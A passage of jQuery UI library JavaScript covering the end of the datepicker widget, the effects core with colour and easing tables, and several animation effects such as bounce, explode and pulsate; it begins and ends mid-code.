for (var month = 0; month < 12; month++) {
if ((!inMinYear || month >= minDate.getMonth()) && (!inMaxYear || month <= maxDate.getMonth())) html += '<option value="' + month + '"' + (month == drawMonth ? ' selected="selected"' : '') + '>' + monthNames[month] + '</option>';
}
html += '</select>';
}
if (secondary || !this._get(inst, 'changeYear')) html += drawYear;
else {
var years = this._get(inst, 'yearRange').split(':');
var year = 0;
var endYear = 0;
if (years.length != 2) {
year = drawYear - 10;
endYear = drawYear + 10;
} else if (years[0].charAt(0) == '+' || years[0].charAt(0) == '-') {
year = endYear = new Date().getFullYear();
year += parseInt(years[0], 10);
endYear += parseInt(years[1], 10);
} else {
year = parseInt(years[0], 10);
endYear = parseInt(years[1], 10);
}
year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
html += '<select class="ui-datepicker-new-year" ' + 'onchange="jQuery.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'Y\');" ' + 'onclick="jQuery.datepicker._clickMonthYear(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'yearStatus') || ' ') : '') + '>';
for (; year <= endYear; year++) {
html += '<option value="' + year + '"' + (year == drawYear ? ' selected="selected"' : '') + '>' + year + '</option>';
}
html += '</select>';
}
html += '</div>';
return html;
},
_addStatus: function(inst, text) {
return ' onmouseover="jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'' + text + '\');" ' + 'onmouseout="jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\' \');"';
},
_adjustInstDate: function(inst, offset, period) {
var year = inst.drawYear + (period == 'Y' ? offset : 0);
var month = inst.drawMonth + (period == 'M' ? offset : 0);
var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) + (period == 'D' ? offset : 0);
var date = this._daylightSavingAdjust(new Date(year, month, day));
var minDate = this._getMinMaxDate(inst, 'min', true);
var maxDate = this._getMinMaxDate(inst, 'max');
date = (minDate && date < minDate ? minDate : date);
date = (maxDate && date > maxDate ? maxDate : date);
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
if (period == 'M' || period == 'Y') this._notifyChange(inst);
},
_notifyChange: function(inst) {
var onChange = this._get(inst, 'onChangeMonthYear');
if (onChange) onChange.apply((inst.input ? inst.input[0] : null), [new Date(inst.selectedYear, inst.selectedMonth, 1), inst]);
},
_getNumberOfMonths: function(inst) {
var numMonths = this._get(inst, 'numberOfMonths');
return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));
},
_getMinMaxDate: function(inst, minMax, checkRange) {
var date = this._determineDate(this._get(inst, minMax + 'Date'), null);
return (!checkRange || !inst.rangeStart ? date : (!date || inst.rangeStart > date ? inst.rangeStart : date));
},
_getDaysInMonth: function(year, month) {
return 32 - new Date(year, month, 32).getDate();
},
_getFirstDayOfMonth: function(year, month) {
return new Date(year, month, 1).getDay();
},
_canAdjustMonth: function(inst, offset, curYear, curMonth) {
var numMonths = this._getNumberOfMonths(inst);
var date = this._daylightSavingAdjust(new Date(curYear, curMonth + (offset < 0 ? offset : numMonths[1]), 1));
if (offset < 0) date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
return this._isInRange(inst, date);
},
_isInRange: function(inst, date) {
var newMinDate = (!inst.rangeStart ? null : this._daylightSavingAdjust(new Date(inst.selectedYear, inst.selectedMonth, inst.selectedDay)));
newMinDate = (newMinDate && inst.rangeStart < newMinDate ? inst.rangeStart : newMinDate);
var minDate = newMinDate || this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
return ((!minDate || date >= minDate) && (!maxDate || date <= maxDate));
},
_getFormatConfig: function(inst) {
var shortYearCutoff = this._get(inst, 'shortYearCutoff');
shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
return {
shortYearCutoff: shortYearCutoff,
dayNamesShort: this._get(inst, 'dayNamesShort'),
dayNames: this._get(inst, 'dayNames'),
monthNamesShort: this._get(inst, 'monthNamesShort'),
monthNames: this._get(inst, 'monthNames')
};
},
_formatDate: function(inst, day, month, year) {
if (!day) {
inst.currentDay = inst.selectedDay;
inst.currentMonth = inst.selectedMonth;
inst.currentYear = inst.selectedYear;
}
var date = (day ? (typeof day == 'object' ? day : this._daylightSavingAdjust(new Date(year, month, day))) : this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
return this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst));
}
});
function extendRemove(target, props) {
$.extend(target, props);
for (var name in props)
if (props[name] == null || props[name] == undefined) target[name] = props[name];
return target;
};
function isArray(a) {
return (a && (($.browser.safari && typeof a == 'object' && a.length) || (a.constructor && a.constructor.toString().match(/\Array\(\)/))));
};
$.fn.datepicker = function(options) {
var otherArgs = Array.prototype.slice.call(arguments, 1);
if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate')) return $.datepicker['_' + options + 'Datepicker'].apply($.datepicker, [this[0]].concat(otherArgs));
return this.each(function() {
typeof options == 'string' ? $.datepicker['_' + options + 'Datepicker'].apply($.datepicker, [this].concat(otherArgs)) : $.datepicker._attachDatepicker(this, options);
});
};
$.datepicker = new Datepicker();
$(document).ready(function() {
$(document.body).append($.datepicker.dpDiv).mousedown($.datepicker._checkExternalClick);
});
})(jQuery);;
(function($) {
$.effects = $.effects || {};
$.extend($.effects, {
save: function(el, set) {
for (var i = 0; i < set.length; i++) {
if (set[i] !== null) $.data(el[0], "ec.storage." + set[i], el[0].style[set[i]]);
}
},
restore: function(el, set) {
for (var i = 0; i < set.length; i++) {
if (set[i] !== null) el.css(set[i], $.data(el[0], "ec.storage." + set[i]));
}
},
setMode: function(el, mode) {
if (mode == 'toggle') mode = el.is(':hidden') ? 'show' : 'hide';
return mode;
},
getBaseline: function(origin, original) {
var y, x;
switch (origin[0]) {
case 'top':
y = 0;
break;
case 'middle':
y = 0.5;
break;
case 'bottom':
y = 1;
break;
default:
y = origin[0] / original.height;
};
switch (origin[1]) {
case 'left':
x = 0;
break;
case 'center':
x = 0.5;
break;
case 'right':
x = 1;
break;
default:
x = origin[1] / original.width;
};
return {
x: x,
y: y
};
},
createWrapper: function(el) {
if (el.parent().attr('id') == 'fxWrapper') return el;
var props = {
width: el.outerWidth({
margin: true
}),
height: el.outerHeight({
margin: true
}),
'float': el.css('float')
};
el.wrap('<div id="fxWrapper" style="font-size:100%;background:transparent;border:none;margin:0;padding:0"></div>');
var wrapper = el.parent();
if (el.css('position') == 'static') {
wrapper.css({
position: 'relative'
});
el.css({
position: 'relative'
});
} else {
var top = el.css('top');
if (isNaN(parseInt(top))) top = 'auto';
var left = el.css('left');
if (isNaN(parseInt(left))) left = 'auto';
wrapper.css({
position: el.css('position'),
top: top,
left: left,
zIndex: el.css('z-index')
}).show();
el.css({
position: 'relative',
top: 0,
left: 0
});
}
wrapper.css(props);
return wrapper;
},
removeWrapper: function(el) {
if (el.parent().attr('id') == 'fxWrapper') return el.parent().replaceWith(el);
return el;
},
setTransition: function(el, list, factor, val) {
val = val || {};
$.each(list, function(i, x) {
unit = el.cssUnit(x);
if (unit[0] > 0) val[x] = unit[0] * factor + unit[1];
});
return val;
},
animateClass: function(value, duration, easing, callback) {
var cb = (typeof easing == "function" ? easing : (callback ? callback : null));
var ea = (typeof easing == "object" ? easing : null);
return this.each(function() {
var offset = {};
var that = $(this);
var oldStyleAttr = that.attr("style") || '';
if (typeof oldStyleAttr == 'object') oldStyleAttr = oldStyleAttr["cssText"];
if (value.toggle) {
that.hasClass(value.toggle) ? value.remove = value.toggle : value.add = value.toggle;
}
var oldStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this, null) : this.currentStyle));
if (value.add) that.addClass(value.add);
if (value.remove) that.removeClass(value.remove);
var newStyle = $.extend({}, (document.defaultView ? document.defaultView.getComputedStyle(this, null) : this.currentStyle));
if (value.add) that.removeClass(value.add);
if (value.remove) that.addClass(value.remove);
for (var n in newStyle) {
if (typeof newStyle[n] != "function" && newStyle[n] && n.indexOf("Moz") == -1 && n.indexOf("length") == -1 && newStyle[n] != oldStyle[n] && (n.match(/color/i) || (!n.match(/color/i) && !isNaN(parseInt(newStyle[n], 10)))) && (oldStyle.position != "static" || (oldStyle.position == "static" && !n.match(/left|top|bottom|right/)))) offset[n] = newStyle[n];
}
that.animate(offset, duration, ea, function() {
if (typeof $(this).attr("style") == 'object') {
$(this).attr("style")["cssText"] = "";
$(this).attr("style")["cssText"] = oldStyleAttr;
} else $(this).attr("style", oldStyleAttr);
if (value.add) $(this).addClass(value.add);
if (value.remove) $(this).removeClass(value.remove);
if (cb) cb.apply(this, arguments);
});
});
}
});
$.fn.extend({
_show: $.fn.show,
_hide: $.fn.hide,
__toggle: $.fn.toggle,
_addClass: $.fn.addClass,
_removeClass: $.fn.removeClass,
_toggleClass: $.fn.toggleClass,
effect: function(fx, o, speed, callback) {
return $.effects[fx] ? $.effects[fx].call(this, {
method: fx,
options: o || {},
duration: speed,
callback: callback
}) : null;
},
show: function() {
if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0]))) return this._show.apply(this, arguments);
else {
var o = arguments[1] || {};
o['mode'] = 'show';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
hide: function() {
if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0]))) return this._hide.apply(this, arguments);
else {
var o = arguments[1] || {};
o['mode'] = 'hide';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
toggle: function() {
if (!arguments[0] || (arguments[0].constructor == Number || /(slow|normal|fast)/.test(arguments[0])) || (arguments[0].constructor == Function)) return this.__toggle.apply(this, arguments);
else {
var o = arguments[1] || {};
o['mode'] = 'toggle';
return this.effect.apply(this, [arguments[0], o, arguments[2] || o.duration, arguments[3] || o.callback]);
}
},
addClass: function(classNames, speed, easing, callback) {
return speed ? $.effects.animateClass.apply(this, [{
add: classNames
},
speed, easing, callback]) : this._addClass(classNames);
},
removeClass: function(classNames, speed, easing, callback) {
return speed ? $.effects.animateClass.apply(this, [{
remove: classNames
},
speed, easing, callback]) : this._removeClass(classNames);
},
toggleClass: function(classNames, speed, easing, callback) {
return speed ? $.effects.animateClass.apply(this, [{
toggle: classNames
},
speed, easing, callback]) : this._toggleClass(classNames);
},
morph: function(remove, add, speed, easing, callback) {
return $.effects.animateClass.apply(this, [{
add: add,
remove: remove
},
speed, easing, callback]);
},
switchClass: function() {
return this.morph.apply(this, arguments);
},
cssUnit: function(key) {
var style = this.css(key),
val = [];
$.each(['em', 'px', '%', 'pt'], function(i, unit) {
if (style.indexOf(unit) > 0) val = [parseFloat(style), unit];
});
return val;
}
});
jQuery.each(['backgroundColor', 'borderBottomColor', 'borderLeftColor', 'borderRightColor', 'borderTopColor', 'color', 'outlineColor'], function(i, attr) {
jQuery.fx.step[attr] = function(fx) {
if (fx.state == 0) {
fx.start = getColor(fx.elem, attr);
fx.end = getRGB(fx.end);
}
fx.elem.style[attr] = "rgb(" + [Math.max(Math.min(parseInt((fx.pos * (fx.end[0] - fx.start[0])) + fx.start[0]), 255), 0), Math.max(Math.min(parseInt((fx.pos * (fx.end[1] - fx.start[1])) + fx.start[1]), 255), 0), Math.max(Math.min(parseInt((fx.pos * (fx.end[2] - fx.start[2])) + fx.start[2]), 255), 0)].join(",") + ")";
}
});
function getRGB(color) {
var result;
if (color && color.constructor == Array && color.length == 3) return color;
if (result = /rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(color)) return [parseInt(result[1]), parseInt(result[2]), parseInt(result[3])];
if (result = /rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(color)) return [parseFloat(result[1]) * 2.55, parseFloat(result[2]) * 2.55, parseFloat(result[3]) * 2.55];
if (result = /#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(color)) return [parseInt(result[1], 16), parseInt(result[2], 16), parseInt(result[3], 16)];
if (result = /#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(color)) return [parseInt(result[1] + result[1], 16), parseInt(result[2] + result[2], 16), parseInt(result[3] + result[3], 16)];
if (result = /rgba\(0, 0, 0, 0\)/.exec(color)) return colors['transparent']
return colors[jQuery.trim(color).toLowerCase()];
}
function getColor(elem, attr) {
var color;
do {
color = jQuery.curCSS(elem, attr);
if (color != '' && color != 'transparent' || jQuery.nodeName(elem, "body")) break;
attr = "backgroundColor";
} while (elem = elem.parentNode);
return getRGB(color);
};
var colors = {
aqua: [0, 255, 255],
azure: [240, 255, 255],
beige: [245, 245, 220],
black: [0, 0, 0],
blue: [0, 0, 255],
brown: [165, 42, 42],
cyan: [0, 255, 255],
darkblue: [0, 0, 139],
darkcyan: [0, 139, 139],
darkgrey: [169, 169, 169],
darkgreen: [0, 100, 0],
darkkhaki: [189, 183, 107],
darkmagenta: [139, 0, 139],
darkolivegreen: [85, 107, 47],
darkorange: [255, 140, 0],
darkorchid: [153, 50, 204],
darkred: [139, 0, 0],
darksalmon: [233, 150, 122],
darkviolet: [148, 0, 211],
fuchsia: [255, 0, 255],
gold: [255, 215, 0],
green: [0, 128, 0],
indigo: [75, 0, 130],
khaki: [240, 230, 140],
lightblue: [173, 216, 230],
lightcyan: [224, 255, 255],
lightgreen: [144, 238, 144],
lightgrey: [211, 211, 211],
lightpink: [255, 182, 193],
lightyellow: [255, 255, 224],
lime: [0, 255, 0],
magenta: [255, 0, 255],
maroon: [128, 0, 0],
navy: [0, 0, 128],
olive: [128, 128, 0],
orange: [255, 165, 0],
pink: [255, 192, 203],
purple: [128, 0, 128],
violet: [128, 0, 128],
red: [255, 0, 0],
silver: [192, 192, 192],
white: [255, 255, 255],
yellow: [255, 255, 0],
transparent: [255, 255, 255]
};
jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend(jQuery.easing, {
def: 'easeOutQuad',
swing: function(x, t, b, c, d) {
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function(x, t, b, c, d) {
return c * (t /= d) * t + b;
},
easeOutQuad: function(x, t, b, c, d) {
return -c * (t /= d) * (t - 2) + b;
},
easeInOutQuad: function(x, t, b, c, d) {
if ((t /= d / 2) < 1) return c / 2 * t * t + b;
return -c / 2 * ((--t) * (t - 2) - 1) + b;
},
easeInCubic: function(x, t, b, c, d) {
return c * (t /= d) * t * t + b;
},
easeOutCubic: function(x, t, b, c, d) {
return c * ((t = t / d - 1) * t * t + 1) + b;
},
easeInOutCubic: function(x, t, b, c, d) {
if ((t /= d / 2) < 1) return c / 2 * t * t * t + b;
return c / 2 * ((t -= 2) * t * t + 2) + b;
},
easeInQuart: function(x, t, b, c, d) {
return c * (t /= d) * t * t * t + b;
},
easeOutQuart: function(x, t, b, c, d) {
return -c * ((t = t / d - 1) * t * t * t - 1) + b;
},
easeInOutQuart: function(x, t, b, c, d) {
if ((t /= d / 2) < 1) return c / 2 * t * t * t * t + b;
return -c / 2 * ((t -= 2) * t * t * t - 2) + b;
},
easeInQuint: function(x, t, b, c, d) {
return c * (t /= d) * t * t * t * t + b;
},
easeOutQuint: function(x, t, b, c, d) {
return c * ((t = t / d - 1) * t * t * t * t + 1) + b;
},
easeInOutQuint: function(x, t, b, c, d) {
if ((t /= d / 2) < 1) return c / 2 * t * t * t * t * t + b;
return c / 2 * ((t -= 2) * t * t * t * t + 2) + b;
},
easeInSine: function(x, t, b, c, d) {
return -c * Math.cos(t / d * (Math.PI / 2)) + c + b;
},
easeOutSine: function(x, t, b, c, d) {
return c * Math.sin(t / d * (Math.PI / 2)) + b;
},
easeInOutSine: function(x, t, b, c, d) {
return -c / 2 * (Math.cos(Math.PI * t / d) - 1) + b;
},
easeInExpo: function(x, t, b, c, d) {
return (t == 0) ? b : c * Math.pow(2, 10 * (t / d - 1)) + b;
},
easeOutExpo: function(x, t, b, c, d) {
return (t == d) ? b + c : c * (-Math.pow(2, -10 * t / d) + 1) + b;
},
easeInOutExpo: function(x, t, b, c, d) {
if (t == 0) return b;
if (t == d) return b + c;
if ((t /= d / 2) < 1) return c / 2 * Math.pow(2, 10 * (t - 1)) + b;
return c / 2 * (-Math.pow(2, -10 * --t) + 2) + b;
},
easeInCirc: function(x, t, b, c, d) {
return -c * (Math.sqrt(1 - (t /= d) * t) - 1) + b;
},
easeOutCirc: function(x, t, b, c, d) {
return c * Math.sqrt(1 - (t = t / d - 1) * t) + b;
},
easeInOutCirc: function(x, t, b, c, d) {
if ((t /= d / 2) < 1) return -c / 2 * (Math.sqrt(1 - t * t) - 1) + b;
return c / 2 * (Math.sqrt(1 - (t -= 2) * t) + 1) + b;
},
easeInElastic: function(x, t, b, c, d) {
var s = 1.70158;
var p = 0;
var a = c;
if (t == 0) return b;
if ((t /= d) == 1) return b + c;
if (!p) p = d * .3;
if (a < Math.abs(c)) {
a = c;
var s = p / 4;
} else var s = p / (2 * Math.PI) * Math.asin(c / a);
return -(a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b;
},
easeOutElastic: function(x, t, b, c, d) {
var s = 1.70158;
var p = 0;
var a = c;
if (t == 0) return b;
if ((t /= d) == 1) return b + c;
if (!p) p = d * .3;
if (a < Math.abs(c)) {
a = c;
var s = p / 4;
} else var s = p / (2 * Math.PI) * Math.asin(c / a);
return a * Math.pow(2, -10 * t) * Math.sin((t * d - s) * (2 * Math.PI) / p) + c + b;
},
easeInOutElastic: function(x, t, b, c, d) {
var s = 1.70158;
var p = 0;
var a = c;
if (t == 0) return b;
if ((t /= d / 2) == 2) return b + c;
if (!p) p = d * (.3 * 1.5);
if (a < Math.abs(c)) {
a = c;
var s = p / 4;
} else var s = p / (2 * Math.PI) * Math.asin(c / a);
if (t < 1) return -.5 * (a * Math.pow(2, 10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p)) + b;
return a * Math.pow(2, -10 * (t -= 1)) * Math.sin((t * d - s) * (2 * Math.PI) / p) * .5 + c + b;
},
easeInBack: function(x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c * (t /= d) * t * ((s + 1) * t - s) + b;
},
easeOutBack: function(x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
return c * ((t = t / d - 1) * t * ((s + 1) * t + s) + 1) + b;
},
easeInOutBack: function(x, t, b, c, d, s) {
if (s == undefined) s = 1.70158;
if ((t /= d / 2) < 1) return c / 2 * (t * t * (((s *= (1.525)) + 1) * t - s)) + b;
return c / 2 * ((t -= 2) * t * (((s *= (1.525)) + 1) * t + s) + 2) + b;
},
easeInBounce: function(x, t, b, c, d) {
return c - jQuery.easing.easeOutBounce(x, d - t, 0, c, d) + b;
},
easeOutBounce: function(x, t, b, c, d) {
if ((t /= d) < (1 / 2.75)) {
return c * (7.5625 * t * t) + b;
} else if (t < (2 / 2.75)) {
return c * (7.5625 * (t -= (1.5 / 2.75)) * t + .75) + b;
} else if (t < (2.5 / 2.75)) {
return c * (7.5625 * (t -= (2.25 / 2.75)) * t + .9375) + b;
} else {
return c * (7.5625 * (t -= (2.625 / 2.75)) * t + .984375) + b;
}
},
easeInOutBounce: function(x, t, b, c, d) {
if (t < d / 2) return jQuery.easing.easeInBounce(x, t * 2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce(x, t * 2 - d, 0, c, d) * .5 + c * .5 + b;
}
});
})(jQuery);
(function($) {
$.effects.blind = function(o) {
return this.queue(function() {
var el = $(this),
props = ['position', 'top', 'left'];
var mode = $.effects.setMode(el, o.options.mode || 'hide');
var direction = o.options.direction || 'vertical';
$.effects.save(el, props);
el.show();
var wrapper = $.effects.createWrapper(el).css({
overflow: 'hidden'
});
var ref = (direction == 'vertical') ? 'height' : 'width';
var distance = (direction == 'vertical') ? wrapper.height() : wrapper.width();
if (mode == 'show') wrapper.css(ref, 0);
var animation = {};
animation[ref] = mode == 'show' ? distance : 0;
wrapper.animate(animation, o.duration, o.options.easing, function() {
if (mode == 'hide') el.hide();
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(el[0], arguments);
el.dequeue();
});
});
};
})(jQuery);
(function($) {
$.effects.bounce = function(o) {
return this.queue(function() {
var el = $(this),
props = ['position', 'top', 'left'];
var mode = $.effects.setMode(el, o.options.mode || 'effect');
var direction = o.options.direction || 'up';
var distance = o.options.distance || 20;
var times = o.options.times || 5;
var speed = o.duration || 250;
if (/show|hide/.test(mode)) props.push('opacity');
$.effects.save(el, props);
el.show();
$.effects.createWrapper(el);
var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
var distance = o.options.distance || (ref == 'top' ? el.outerHeight({
margin: true
}) / 3 : el.outerWidth({
margin: true
}) / 3);
if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance);
if (mode == 'hide') distance = distance / (times * 2);
if (mode != 'hide') times--;
if (mode == 'show') {
var animation = {
opacity: 1
};
animation[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation, speed / 2, o.options.easing);
distance = distance / 2;
times--;
};
for (var i = 0; i < times; i++) {
var animation1 = {},
animation2 = {};
animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing);
distance = (mode == 'hide') ? distance * 2 : distance / 2;
};
if (mode == 'hide') {
var animation = {
opacity: 0
};
animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
el.animate(animation, speed / 2, o.options.easing, function() {
el.hide();
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(this, arguments);
});
} else {
var animation1 = {},
animation2 = {};
animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing, function() {
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(this, arguments);
});
};
el.queue('fx', function() {
el.dequeue();
});
el.dequeue();
});
};
})(jQuery);
(function($) {
$.effects.clip = function(o) {
return this.queue(function() {
var el = $(this),
props = ['position', 'top', 'left', 'height', 'width'];
var mode = $.effects.setMode(el, o.options.mode || 'hide');
var direction = o.options.direction || 'vertical';
$.effects.save(el, props);
el.show();
var wrapper = $.effects.createWrapper(el).css({
overflow: 'hidden'
});
var animate = el[0].tagName == 'IMG' ? wrapper : el;
var ref = {
size: (direction == 'vertical') ? 'height' : 'width',
position: (direction == 'vertical') ? 'top' : 'left'
};
var distance = (direction == 'vertical') ? animate.height() : animate.width();
if (mode == 'show') {
animate.css(ref.size, 0);
animate.css(ref.position, distance / 2);
}
var animation = {};
animation[ref.size] = mode == 'show' ? distance : 0;
animation[ref.position] = mode == 'show' ? 0 : distance / 2;
animate.animate(animation, {
queue: false,
duration: o.duration,
easing: o.options.easing,
complete: function() {
if (mode == 'hide') el.hide();
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(el[0], arguments);
el.dequeue();
}
});
});
};
})(jQuery);
(function($) {
$.effects.drop = function(o) {
return this.queue(function() {
var el = $(this),
props = ['position', 'top', 'left', 'opacity'];
var mode = $.effects.setMode(el, o.options.mode || 'hide');
var direction = o.options.direction || 'left';
$.effects.save(el, props);
el.show();
$.effects.createWrapper(el);
var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
var distance = o.options.distance || (ref == 'top' ? el.outerHeight({
margin: true
}) / 2 : el.outerWidth({
margin: true
}) / 2);
if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance);
var animation = {
opacity: mode == 'show' ? 1 : 0
};
animation[ref] = (mode == 'show' ? (motion == 'pos' ? '+=' : '-=') : (motion == 'pos' ? '-=' : '+=')) + distance;
el.animate(animation, {
queue: false,
duration: o.duration,
easing: o.options.easing,
complete: function() {
if (mode == 'hide') el.hide();
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(this, arguments);
el.dequeue();
}
});
});
};
})(jQuery);
(function($) {
$.effects.explode = function(o) {
return this.queue(function() {
var rows = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
var cells = o.options.pieces ? Math.round(Math.sqrt(o.options.pieces)) : 3;
o.options.mode = o.options.mode == 'toggle' ? ($(this).is(':visible') ? 'hide' : 'show') : o.options.mode;
var el = $(this).show().css('visibility', 'hidden');
var offset = el.offset();
offset.top -= parseInt(el.css("marginTop")) || 0;
offset.left -= parseInt(el.css("marginLeft")) || 0;
var width = el.outerWidth(true);
var height = el.outerHeight(true);
for (var i = 0; i < rows; i++) {
for (var j = 0; j < cells; j++) {
el.clone().appendTo('body').wrap('<div></div>').css({
position: 'absolute',
visibility: 'visible',
left: -j * (width / cells),
top: -i * (height / rows)
}).parent().addClass('effects-explode').css({
position: 'absolute',
overflow: 'hidden',
width: width / cells,
height: height / rows,
left: offset.left + j * (width / cells) + (o.options.mode == 'show' ? (j - Math.floor(cells / 2)) * (width / cells) : 0),
top: offset.top + i * (height / rows) + (o.options.mode == 'show' ? (i - Math.floor(rows / 2)) * (height / rows) : 0),
opacity: o.options.mode == 'show' ? 0 : 1
}).animate({
left: offset.left + j * (width / cells) + (o.options.mode == 'show' ? 0 : (j - Math.floor(cells / 2)) * (width / cells)),
top: offset.top + i * (height / rows) + (o.options.mode == 'show' ? 0 : (i - Math.floor(rows / 2)) * (height / rows)),
opacity: o.options.mode == 'show' ? 1 : 0
}, o.duration || 500);
}
}
setTimeout(function() {
o.options.mode == 'show' ? el.css({
visibility: 'visible'
}) : el.css({
visibility: 'visible'
}).hide();
if (o.callback) o.callback.apply(el[0]);
el.dequeue();
$('.effects-explode').remove();
}, o.duration || 500);
});
};
})(jQuery);
(function($) {
$.effects.fold = function(o) {
return this.queue(function() {
var el = $(this),
props = ['position', 'top', 'left'];
var mode = $.effects.setMode(el, o.options.mode || 'hide');
var size = o.options.size || 15;
var horizFirst = !(!o.options.horizFirst);
$.effects.save(el, props);
el.show();
var wrapper = $.effects.createWrapper(el).css({
overflow: 'hidden'
});
var widthFirst = ((mode == 'show') != horizFirst);
var ref = widthFirst ? ['width', 'height'] : ['height', 'width'];
var distance = widthFirst ? [wrapper.width(), wrapper.height()] : [wrapper.height(), wrapper.width()];
var percent = /([0-9]+)%/.exec(size);
if (percent) size = parseInt(percent[1]) / 100 * distance[mode == 'hide' ? 0 : 1];
if (mode == 'show') wrapper.css(horizFirst ? {
height: 0,
width: size
} : {
height: size,
width: 0
});
var animation1 = {},
animation2 = {};
animation1[ref[0]] = mode == 'show' ? distance[0] : size;
animation2[ref[1]] = mode == 'show' ? distance[1] : 0;
wrapper.animate(animation1, o.duration / 2, o.options.easing).animate(animation2, o.duration / 2, o.options.easing, function() {
if (mode == 'hide') el.hide();
$.effects.restore(el, props);
$.effects.removeWrapper(el);
if (o.callback) o.callback.apply(el[0], arguments);
el.dequeue();
});
});
};
})(jQuery);;
(function($) {
$.effects.highlight = function(o) {
return this.queue(function() {
var el = $(this),
props = ['backgroundImage', 'backgroundColor', 'opacity'];
var mode = $.effects.setMode(el, o.options.mode || 'show');
var color = o.options.color || "#ffff99";
var oldColor = el.css("backgroundColor");
$.effects.save(el, props);
el.show();
el.css({
backgroundImage: 'none',
backgroundColor: color
});
var animation = {
backgroundColor: oldColor
};
if (mode == "hide") animation['opacity'] = 0;
el.animate(animation, {
queue: false,
duration: o.duration,
easing: o.options.easing,
complete: function() {
if (mode == "hide") el.hide();
$.effects.restore(el, props);
if (mode == "show" && jQuery.browser.msie) this.style.removeAttribute('filter');
if (o.callback) o.callback.apply(this, arguments);
el.dequeue();
}
});
});
};
})(jQuery);
(function($) {
$.effects.pulsate = function(o) {
return this.queue(function() {
var el = $(this);
var mode = $.effects.setMode(el, o.options.mode || 'show');
var times = o.options.times || 5;
if (mode == 'hide') times--;
if (el.is(':hidden')) {
el.css('opacity', 0);
el.show();
el.animate({
opacity: 1
}, o.duration / 2, o.options.easing);
times = times - 2;
}
for (var i = 0; i < times; i++) {
el.animate({
opacity: 0
}, o.duration / 2, o.options.easing).animate({
opacity: 1
}, o.duration / 2, o.options.easing);
};
if (mode == 'hide') {
el.animate({
opacity: 0
}, o.duration / 2, o.options.easing, function() {
el.hide();
if (o.callback) o.callback.apply(this, arguments);
});
} else {
el.animate({
opacity: 0
}, o.duration / 2, o.options.easing).animate({
opacity: 1
}, o.duration / 2, o.options.easing, function() {
if (o.callback) o.callback.apply(this, arguments);
});
};
el.queue('fx', function() {
el.dequeue();
});
el.dequeue();
});
};
})(jQuery);
(function($) {
$.effects.puff = function(o) {
return this.queue(function() {
var el = $(this);
var options = $.extend(true, {}, o.options);
var mode = $.effects.setMode(el, o.options.mode || 'hide');
var percent = parseInt(o.options.percent) || 150;
options.fade = true;
var original = {
height: el.height(),
width: el.width()
};
var factor = percent / 100;
el.from = (mode == 'hide') ? original : {
height: original.height * factor,
width: original.width * factor
};
options.from = el.from;
options.percent = (mode == 'hide') ? percent : 100;
